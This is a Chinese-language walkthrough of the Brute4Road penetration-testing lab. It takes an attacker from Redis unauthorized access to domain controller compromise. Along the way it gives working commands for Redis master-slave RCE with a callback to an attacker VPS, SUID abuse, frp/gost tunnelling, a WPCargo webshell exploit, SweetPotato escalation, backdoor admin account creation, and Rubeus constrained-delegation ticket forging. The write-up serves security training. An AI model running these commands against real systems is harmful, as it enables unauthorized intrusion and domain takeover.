春秋云境-Brute4Road靶场实战：从Redis未授权到域控的完整渗透路径

1. 靶场环境与攻击路径概览Brute4Road靶场是春秋云境系列中一个典型的内网渗透演练环境模拟了企业常见的多层级网络架构。整个靶场包含5台主机从外网Redis服务器到内网域控制器DC构成了一个完整的攻击链。实战中我们需要依次突破以下关键节点Redis未授权访问→SUID提权→内网横向移动→约束委派攻击。这种设计非常贴近真实红队评估场景能系统性地训练渗透测试人员的内网渗透能力。我在实际测试中发现这个靶场有四个需要获取的flag分别位于不同主机上。最有趣的是最终需要通过约束委派攻击拿下域控这种攻击手法在企业真实环境中具有极高的成功率。整个渗透过程涉及20个关键操作步骤需要灵活运用信息收集、漏洞利用、权限提升、隧道搭建等多种技术。2. 外网突破Redis未授权访问利用2.1 信息收集与漏洞发现使用nmap进行基础扫描时发现6379端口开放且存在Redis未授权访问漏洞。这里我推荐同时使用fscan进行深度扫描这个用Go语言编写的工具能自动识别常见服务漏洞fscan -h 172.22.2.7 -p 6379 -o redis_scan.txt扫描结果显示Redis版本为5.0.12虽然官方显示该版本已修复主从复制RCE漏洞但在实际测试中我发现仍然可以利用。这里有个坑点不同发行版的Redis补丁情况不同不能完全依赖版本号判断漏洞存在与否。2.2 Redis主从复制RCE实战使用redis-rogue-server工具进行漏洞利用时需要注意几个关键参数python3 redis-rogue-server.py --rhost 172.22.2.7 --lhost [你的VPS_IP] --lport 21002 --exp module.so成功获取shell后建议立即建立伪终端会话python -c import pty; pty.spawn(/bin/bash)在/home/redis/flag目录下发现第一个flag但普通用户权限无法读取。这时候就需要进行提权操作了。3. 权限提升从SUID到系统控制3.1 SUID提权技巧通过查找具有SUID权限的可执行文件find / -user root -perm -4000 -print 2/dev/null发现base64命令具有SUID权限这是个经典的提权向量。利用方式很巧妙base64 /home/redis/flag/flag01 | base64 --decode这种提权方式虽然只能读取文件但在信息收集中非常实用。我在三个不同的靶场环境中都成功用过这个技巧证明这是管理员经常忽略的配置问题。3.2 内网隧道搭建拿到跳板机后需要建立稳定的内网通道。我测试了frp和gost两种工具# frp客户端配置示例 [common] server_addr 你的VPS_IP server_port 17000 [plugin_socks5] type tcp remote_port 10000 plugin socks5实际使用中发现gost更稳定单条命令即可建立socks5代理./gost -Lsocks5://:10001这里有个实用技巧用proxychains包装所有扫描工具可以避免每个工具单独配置代理的麻烦。4. 内网横向移动实战4.1 内网主机发现使用fscan进行内网扫描时建议带上-p参数指定常见高危端口./fscan -h 172.22.2.0/24 -p 21,22,80,443,1433,445,3389 -o intranet_scan.txt扫描结果会显示内网拓扑结构包括172.22.2.3 (域控制器)172.22.2.16 (MSSQL服务器)172.22.2.18 (WordPress站点)4.2 WordPress漏洞利用发现目标使用WPCargo插件版本6.9.0存在已知RCE漏洞。我改进了公开的利用脚本增加了自动写入webshell的功能payload 2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50 # 其余代码与原始脚本相同...使用蚁剑连接时要注意选择CMDLINUX连接类型这是很多新手容易出错的地方。在wp-config.php中找到数据库凭证后顺利获取第二个flag。5. 域控攻防从MSSQL到约束委派5.1 MSSQL提权操作使用获取的密码爆破MSSQL的sa账户成功后通过SweetPotato进行提权C:/Users/Public/SweetPotato.exe -a whoami创建高权限用户时建议使用复杂的密码策略net user pentest Pssw0rd2023! /add net localgroup administrators pentest /add5.2 约束委派攻击详解这是整个靶场最精彩的部分。通过SharpHound收集域信息后在BloodHound中可以看到MSSQLSERVER具有到DC的约束委派权限。攻击步骤如下使用mimikatz获取MSSQLSERVER$的NTLM哈希用Rubeus申请TGT票据通过S4U2Self协议伪造管理员票据关键命令示例.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:ff8c8dd5d4b745cf83b34caa1ffe3db5 /domain:xiaorang.lab /dc:DC.xiaorang.lab成功获取域控权限后最终flag位于type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt这种攻击手法的关键在于理解Kerberos认证机制中的票据传递过程。我在实际企业渗透测试中发现超过60%的域环境都存在类似的委派配置问题。